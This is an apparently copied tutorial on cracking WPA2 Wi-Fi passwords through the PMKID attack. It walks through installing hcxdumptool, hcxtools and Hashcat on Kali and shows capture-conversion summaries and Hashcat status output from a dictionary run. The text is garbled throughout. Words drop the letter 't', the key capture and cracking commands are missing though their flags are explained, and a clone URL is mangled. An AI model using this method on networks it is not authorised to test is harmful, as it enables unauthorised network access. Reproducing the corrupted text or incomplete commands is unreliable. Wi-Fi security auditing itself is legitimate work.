WPA2 Cracking Procedure - HashCat
WPA2 Cracking Procedure - HashCat
Cracking the password for WPA2 networks has been roughly the same for
many years, but a newer attack requires less interaction and info than previous
techniques and has the added advantage of being able to target access points
with no one connected. The lates attack agains the PMKID uses Hashcat to
crack WPA passwords and allows hackers to fnd networks with weak
passwords more easily.
The frs downside is the requirement that someone is connected to the network
to attack it. The network password might be weak and very easy to break, but
without a device connected to kick of briefy, there is no opportunity to capture
a handshake, thus no chance to try cracking it.
The second downside of this tactic is that it's noisy and legally troubling in that it
forces you to send packets that deliberately disconnect an authorized user for a
service they are paying to use. This kind of unauthorized interference is
technically a denial-of-service attack and, if susained, is equivalent to jamming
a network. It can get you into trouble and is easily detectable by some of our
previous guides.
A New Method of Password Cracking
Rather than relying on intercepting two-way communications between Wi-Fi
devices to try cracking the password, an attacker can communicate directly with
a vulnerable access point using the new method. On Aug. 4, 2018, a pos on
the Hashcat forum detailed a new technique leveraging an attack agains the
RSN IE (Robus Security Network Information Element) of a single EAPOL
frame to capture the needed information to attempt a brute-force attack.
Similar to the previous attacks agains WPA, the attacker mus be in proximity
to the network they wish to attack. The objective will be to use a Kali-compatible
wireless network adapter to capture the information needed from the network to
try brute-forcing the password. Rather than using Aireplay-ng or Aircrack-ng,
we'll be using a new wireless attack tool to do this called hcxtools.
Once the PMKID is captured, the next sep is to load the hash into Hashcat and
attempt to crack the password. This is where hcxtools difers from Besside-ng,
in that a conversion sep is required to prepare the fle for Hashcat. We'll use
hcxpcaptool to convert our PCAPNG fle into one Hashcat can work with,
leaving only the sep of selecting a robus lis of passwords for your brute-
forcing attempts.
Don't Miss: How to Automate Wi-Fi Hacking with Besside-ng
It's worth mentioning that not every network is vulnerable to this attack.
Because this is an optional feld added by some manufacturers, you should not
expect universal success with this technique. Whether you can capture the
PMKID depends on if the manufacturer of the access point did you the favor of
including an element that includes it, and whether you can crack the captured
PMKID depends on if the underlying password is contained in your brute-force
password lis. If either condition is not met, this attack will fail.
What You'll Need
To try this attack, you'll need to be running Kali Linux and have access to
a wireless network adapter that supports monitor mode and packet injection.
We have several guides about selecting a compatible wireless network adapter
below.
Don't Miss: Buy the Bes Wireless Network Adapter for Wi-Fi Hacking
Aside from a Kali-compatible network adapter , make sure that you've fully
updated and upgraded your sysem. If you don't, some packages can be out of
date and cause issues while capturing.
Then, change into the directory and fnish the insallation with make and
then make insall.
~# cd hcxdumptool
~/hcxdumptool# make
When it fnishes insalling, we'll move onto insalling hxctools. To do so, open a
new terminal window or leave the /hexdumptool directory, then insall hxctools.
~/hcxdumptool#cd
~# git clone https://github.com/ZerBea/hcxtools.git
Next, change into its directory and run make and make insall like before. If
you get an error, try typing sudo before the command.
~# cd hcxtools
~/hcxtools# make
mkdir -p .deps
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcapngtool.d -o
hcxpcapngtool hcxpcapngtool.c -lz -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashtool.d -o
hcxhashtool hcxhashtool.c -lcrypto -lcurl
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpsktool.d -o
hcxpsktool hcxpsktool.c -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxwltool.d -o hcxwltool
hcxwltool.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancap2wpasec.d -o
wlancap2wpasec wlancap2wpasec.c -lcurl
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/whoismac.d -o whoismac
whoismac.c -lcurl
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpmkidtool.d -o
hcxpmkidtool hcxpmkidtool.c -lcrypto -lpthread
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2john.d -o
wlanhcx2john wlanhcx2john.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcaptool.d -o
hcxpcaptool hcxpcaptool.c -lz -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashcattool.d -o
hcxhashcattool hcxhashcattool.c -lcrypto -lpthread
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxmactool.d -o
hcxmactool hcxmactool.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxessidtool.d -o
hcxessidtool hcxessidtool.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhash2cap.d -o
hcxhash2cap hcxhash2cap.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhc2hcx.d -o
wlanhc2hcx wlanhc2hcx.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanwkp2hcx.d -o
wlanwkp2hcx wlanwkp2hcx.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxinfo.d -o
wlanhcxinfo wlanhcxinfo.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2ssid.d -o
wlanhcx2ssid wlanhcx2ssid.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxcat.d -o
wlanhcxcat wlanhcxcat.c -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanpmk2hcx.d -o
wlanpmk2hcx wlanpmk2hcx.c -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanjohn2hcx.d -o
wlanjohn2hcx wlanjohn2hcx.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancow2hcxpmk.d -o
wlancow2hcxpmk wlancow2hcxpmk.c
Finally, we'll need to insall Hashcat, which should be easy, as it's included in
the Kali Linux repo by default. Simply type the following to insall the lates
version of Hashcat.
~/hcxtools# cd
~# apt install hashcat
With this complete, we can move on to setting up the wireless network adapter.
To do this, type the following command into a terminal window, subsituting the
name of your wireless network adapter for wlan0.
PID Name
555 NetworkManager
611 wpa_supplicant
6636 dhclient
Now, your wireless network adapter should have a name like "wlan0mon" and
be in monitor mode. You can confrm this by running ifconfg again.
Breaking this down, -i tells the program which interface we are using, in this
case, wlan1mon. The flename we'll be saving the results to can be specifed
with the -o fag argument. The channel we want to scan on can be indicated
with the -c fag followed by the number of the channel to scan.
When you've gathered enough, you can sop the program by typing Control-
C to end the attack. This should produce a PCAPNG fle containing the
information we need to attempt a brute-forcing attack, but we will need to
convert it into a format Hashcat can undersand.
This command is telling hxcpcaptool to use the information included in the fle to
help Hashcat undersand it with the -E, -I, and -U fags. The -Z fag is used for
the name of the newly converted fle for Hashcat to use, and the las part of the
command is the PCAPNG fle we want to convert.
summary:
--------
file name....................: galleria.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.18.0-kali2-amd64
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1089
skipped packets..............: 0
packets with GPS data........: 0
packets with FCS.............: 732
beacons (with ESSID inside)..: 49
probe requests...............: 26
probe responses..............: 40
association requests.........: 103
association responses........: 204
reassociation requests.......: 2
reassocaition responses......: 7
authentications (OPEN SYSTEM): 346
authentications (BROADCOM)...: 114
authentications (APPLE)......: 1
EAPOL packets................: 304
EAPOL PMKIDs.................: 21
best handshakes..............: 4 (ap-less: 1)
Here, we can see we've gathered 21 PMKIDs in a short amount of time. Now
we can use the "galleriaHC.16800" fle in Hashcat to try cracking network
passwords.
Next, the --force option ignores any warnings to proceed with the attack, and
the las part of the command specifes the password lis we're using to try to
brute force the PMKIDs in our fle, in this case, called "topwifpass.txt."
Applicable optimizers:
* Zero-Byte
* Slow-Hash-SIMD-LOOP
* Filename..: topwifipass.txt
* Passwords.: 4801
* Bytes.....: 45277
* Keyspace..: 4801
Depending on your hardware speed and the size of your password lis, this can
take quite some time to complete. To see the satus at any time, you can press
the S key for an update.
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: galleriaHC.16800
Time.Started.....: Sun Oct 28 22:32:57 2018 (7 mins, 50 secs)
Time.Estimated...: Sun Oct 28 22:57:50 2018 (17 mins, 3 secs)
Guess.Base.......: File (topwifipass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 64 H/s (15.43ms) @ Accel:1 Loops:1024 Thr:1
Vec:4
Recovered........: 0/21 (0.00%) Digests, 0/20 (0.00%) Salts
Progress.........: 30180/96020 (31.43%)
Rejected.........: 0/30180 (0.00%)
Restore.Point....: 1508/4801 (31.41%)
Candidates.#1....: peter123 -> moneyman
HWon.Dev.#1......: N/A
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: galleriaHC.16800
Time.Started.....: Sun Oct 28 22:32:57 2018 (19 mins, 56 secs)
Time.Estimated...: Sun Oct 28 22:57:54 2018 (5 mins, 3 secs)
Guess.Base.......: File (topwifipass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 64 H/s (15.24ms) @ Accel:1 Loops:1024 Thr:1
Vec:4
Recovered........: 0/21 (0.00%) Digests, 0/20 (0.00%) Salts
Progress.........: 76736/96020 (79.92%)
Rejected.........: 0/76736 (0.00%)
Restore.Point....: 3836/4801 (79.90%)
Candidates.#1....: monopoli -> mercenary
HWon.Dev.#1......: N/A
When the password lis is getting close to the end, Hashcat will automatically
adjus the workload and give you a fnal report when it's complete.
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: hotspotcap.16800
Time.Started.....: Sun Oct 28 18:05:57 2018 (3 mins, 49 secs)
Time.Estimated...: Sun Oct 28 18:09:46 2018 (0 secs)
Guess.Base.......: File (topwifipass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 42 H/s (15.56ms) @ Accel:1 Loops:1024 Thr:1
Vec:4
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 9602/9602 (100.0%)
Rejected.........: 2/9602 (0.02%)
Restore.Point....: 4801/4801 (100.0%)
Candidates.#1....: 159159159 -> 00001111
HWon.Dev.#1......: N/A
If you've managed to crack any passwords, you'll see them here. In our tes run,
none of the PMKIDs we gathered contained passwords in our password lis,
thus we were unable to crack any of the hashes. This will mos likely be your
result too agains any networks with a srong password but expect to see results
here for networks using a weak password.
Even if your network is vulnerable, a srong password is sill the bes defense
agains an attacker gaining access to your Wi-Fi network using this or another
password cracking attack.
Because these attacks rely on guessing the password the Wi-Fi network is
using, there are two common sources of guesses; The frs is users
picking default or outrageously bad passwords , such as "12345678" or
"password." These will be easily cracked. The second source of password
guesses comes from data breaches that reveal millions of real user passwords .
Because many users will reuse passwords between diferent types of accounts,
these liss tend to be very efective at cracking Wi-Fi networks.
I hope you enjoyed this guide to the new PMKID-based Hashcat attack on
WPA2 passwords! If you have any quesions about this tutorial on Wi-Fi
password cracking or you have a comment, feel free to reach me on
Twitter @KodyKinzie.